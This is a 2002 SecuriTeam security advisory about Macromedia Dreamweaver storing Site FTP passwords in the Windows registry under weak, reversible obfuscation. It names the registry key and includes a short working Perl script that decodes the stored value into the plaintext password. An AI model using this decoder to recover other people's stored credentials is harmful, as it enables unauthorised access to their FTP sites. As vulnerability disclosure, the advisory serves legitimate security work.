[NT] Macromedia Dreamweaver Site FTP Password Vulnerability

From: support@securiteam.com
Date: 11/06/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 6 Nov 2002 22:03:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Macromedia Dreamweaver Site FTP Password Vulnerability
------------------------------------------------------------------------

SUMMARY

A weakness exists the way Dreamweaver stores Site FTP passowords in
Windows registry. This allows local attackers to recover them easily.

DETAILS

The Site Configuration feature allows the user to configure the settings
for acessing, down/upload files to the server from their local machine.
The encryption method designed to obfuscate passwords can be easily
defeated.

As a result, anyone who can get access to the registry, can gain access to
the user FTP Site (where most of the time a website will be stored)
 
Exploit:
#!/usr/bin/perl -w
#
# Macromedia Site FTP Pass Hash Cracker
# \HKEY_CURRENT_USER\Software\Macromedia\Dreamweaver\Sites\-Site[]\User PW
#
# Tested on Dreamweaver 4, may work on other versions
# The way the pass is stored is too weak as you can see
#
# Dreamweaver is the most used html/web editor arround, try it:
# http://www.macromedia.com
#
# inode@irc.brasnet.org #unsekure || alexandre@nettion.com.br
 
use strict;
 
die "Syntax: $0 [RegString]" unless($ARGV[0]);
 
our (@a, @aa, $i, $ii);
$ARGV[0] =~ s/(..)/push(@a, $1)/ge;
 
push (@aa, pack("H2", shift(@a)));
 
for(@a) {
        $i++;
        $ii = sprintf("%d", hex("$_")) - $i;
        $ii = sprintf("%X", $ii);
        push @aa, pack("H2", $ii);
}
print "Pass: "; print for(@aa); print "\n";
exit 0;

ADDITIONAL INFORMATION

The information has been provided by <mailto:abreu@grupofortes.com.br>
Alexandre de Abreu.

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